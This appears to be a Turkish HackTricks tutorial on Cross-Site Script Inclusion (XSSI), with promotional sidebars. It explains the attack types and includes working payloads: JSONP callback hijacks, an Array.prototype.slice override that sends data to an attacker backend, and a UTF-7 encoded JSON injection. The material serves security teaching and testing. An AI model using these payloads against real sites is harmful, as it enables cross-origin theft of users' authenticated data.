mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
95 lines
7.7 KiB
Markdown
95 lines
7.7 KiB
Markdown
# XSSI (Cross-Site Script Inclusion)
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hackleme becerilerinizi sıfırdan kahraman seviyesine yükseltin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
|
||
|
||
HackTricks'ı desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklam vermek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz
|
||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
|
||
|
||
</details>
|
||
|
||
|
||
## Temel Bilgiler
|
||
|
||
**Cross-Site Script Inclusion (XSSI)**, HTML'deki `script` etiketinin doğasından kaynaklanan bir güvenlik açığıdır. Diğer kaynakların çoğunun aksine, **Aynı Köken Politikası (SOP)**'na tabi olmayan betikler, farklı etki alanlarından dahil edilebilir. Bu davranış, farklı sunucularda barındırılan kütüphanelerin ve diğer kaynakların kullanımını kolaylaştırmayı amaçlamaktadır, ancak aynı zamanda potansiyel bir güvenlik riski de oluşturur.
|
||
|
||
### **XSSI**'nin Temel Özellikleri:
|
||
- **SOP'nin Atlatılması**: Betikler, etki alanları arasında dahil edilebilmelerine izin veren **Aynı Köken Politikası**'ndan muaf tutulur.
|
||
- **Veri Sızdırma**: Bir saldırgan, `script` etiketi aracılığıyla yüklenen verileri okumak için bu davranışı istismar edebilir.
|
||
- **Dinamik JavaScript/JSONP Üzerindeki Etkisi**: **XSSI**, özellikle dinamik JavaScript veya **JSON ile Dolgulu (JSONP)** için önemlidir. Bu teknolojiler genellikle kimlik doğrulaması için "ortam yetkisi" bilgilerini (örneğin çerezler) kullanır. Farklı bir sunucuya bir betik isteği yapıldığında, bu kimlik bilgileri (örneğin çerezler) otomatik olarak isteğe dahil edilir.
|
||
- **Kimlik Doğrulama Jetonu Sızıntısı**: Bir saldırgan, bir kullanıcının tarayıcısını kendi kontrol ettikleri bir sunucudan bir betik istemeye kandırabilirse, bu isteklerdeki hassas bilgilere erişebilir.
|
||
|
||
### Türler
|
||
|
||
1. **Statik JavaScript** - Bu, geleneksel XSSI'nin temsilcisidir.
|
||
2. **Kimlik Doğrulamalı Statik JavaScript** - Bu tür, erişim için kimlik doğrulaması gerektirir ve diğer türlerden farklıdır.
|
||
3. **Dinamik JavaScript** - İçerik dinamik olarak oluşturan JavaScript'i içerir.
|
||
4. **JavaScript Dışı** - Doğrudan JavaScript içermeyen güvenlik açıklarını ifade eder.
|
||
|
||
**Aşağıdaki bilgiler, [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414) adresindeki özetidir. Daha fazla ayrıntı için kontrol edin.
|
||
|
||
|
||
### Düzenli XSSI
|
||
Bu yaklaşımda, özel bilgiler küresel olarak erişilebilir bir JavaScript dosyasına gömülüdür. Saldırganlar, dosya okuma, anahtar kelime aramaları veya düzenli ifadeler gibi yöntemler kullanarak bu dosyaları tespit edebilir. Bulunan özel bilgileri içeren betik, yetkisiz erişime izin vererek kötü amaçlı içeriğe dahil edilebilir. Aşağıda bir örnek istismar tekniği gösterilmektedir:
|
||
```html
|
||
<script src="https://www.vulnerable-domain.tld/script.js"></script>
|
||
<script> alert(JSON.stringify(confidential_keys[0])); </script>
|
||
```
|
||
### Dinamik-JavaScript-tabanlı-XSSI ve Kimlik Doğrulama-JavaScript-XSSI
|
||
Bu tür XSSI saldırıları, kullanıcının isteğine yanıt olarak betiğe dinamik olarak eklenen gizli bilgileri içerir. Algılama, çerezlerle ve çerezler olmadan istekler göndererek ve yanıtları karşılaştırarak gerçekleştirilebilir. Bilgiler farklılık gösteriyorsa, gizli bilgilerin varlığını gösterebilir. Bu işlem, [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp eklentisi gibi araçlar kullanılarak otomatikleştirilebilir.
|
||
|
||
Gizli veriler bir global değişkende depolanıyorsa, Düzenli XSSI'de kullanılan yöntemlere benzer yöntemlerle istismar edilebilir. Ancak, gizli veriler bir JSONP yanıtında yer alıyorsa, saldırganlar geri çağırma işlevini ele geçirerek bilgileri alabilir. Bu, ya global nesneleri manipüle ederek ya da JSONP yanıtı tarafından yürütülecek bir işlevi kurarak yapılabilir, aşağıda gösterildiği gibi:
|
||
```html
|
||
<script>
|
||
var angular = function () { return 1; };
|
||
angular.callbacks = function () { return 1; };
|
||
angular.callbacks._7 = function (leaked) {
|
||
alert(JSON.stringify(leaked));
|
||
};
|
||
</script>
|
||
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
|
||
```
|
||
|
||
```html
|
||
<script>
|
||
leak = function (leaked) {
|
||
alert(JSON.stringify(leaked));
|
||
};
|
||
</script>
|
||
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
|
||
```
|
||
Değişkenlerin global ad alanında bulunmadığı durumlarda, bazen *prototype bozulması* istismar edilebilir. Bu teknik, JavaScript'in tasarımından yararlanır, burada kod yorumlaması, çağrılan özelliği bulmak için prototip zincirini gezme işlemi içerir. `Array`'ın `slice` gibi belirli fonksiyonları geçersiz kılarak, saldırganlar global olmayan değişkenlere erişebilir ve sızdırabilir:
|
||
```javascript
|
||
Array.prototype.slice = function(){
|
||
// leaks ["secret1", "secret2", "secret3"]
|
||
sendToAttackerBackend(this);
|
||
};
|
||
```
|
||
### Non-Script-XSSI
|
||
Takeshi Terada'nın araştırması, CSV gibi Non-Script dosyalarının, bir `script` etiketi içinde kaynak olarak dahil edilerek cross-origin olarak sızdırıldığı başka bir XSSI formunu tanıtır. Google adres defterinin tamamını okumak için yapılan Jeremiah Grossman'ın 2006 saldırısı ve Joe Walker'ın 2007 JSON veri sızıntısı gibi tarihsel XSSI örnekleri, bu tehditlerin ciddiyetini vurgular. Ayrıca, Gareth Heyes, belirli tarayıcılarda etkili olan JSON formatından kaçmak ve komut dosyalarını çalıştırmak için UTF-7 kodlu JSON içeren bir saldırı varyantını açıklar:
|
||
```javascript
|
||
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
|
||
```
|
||
|
||
```html
|
||
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
|
||
```
|
||
<details>
|
||
|
||
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||
|
||
HackTricks'ı desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz, [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
|
||
|
||
</details>
|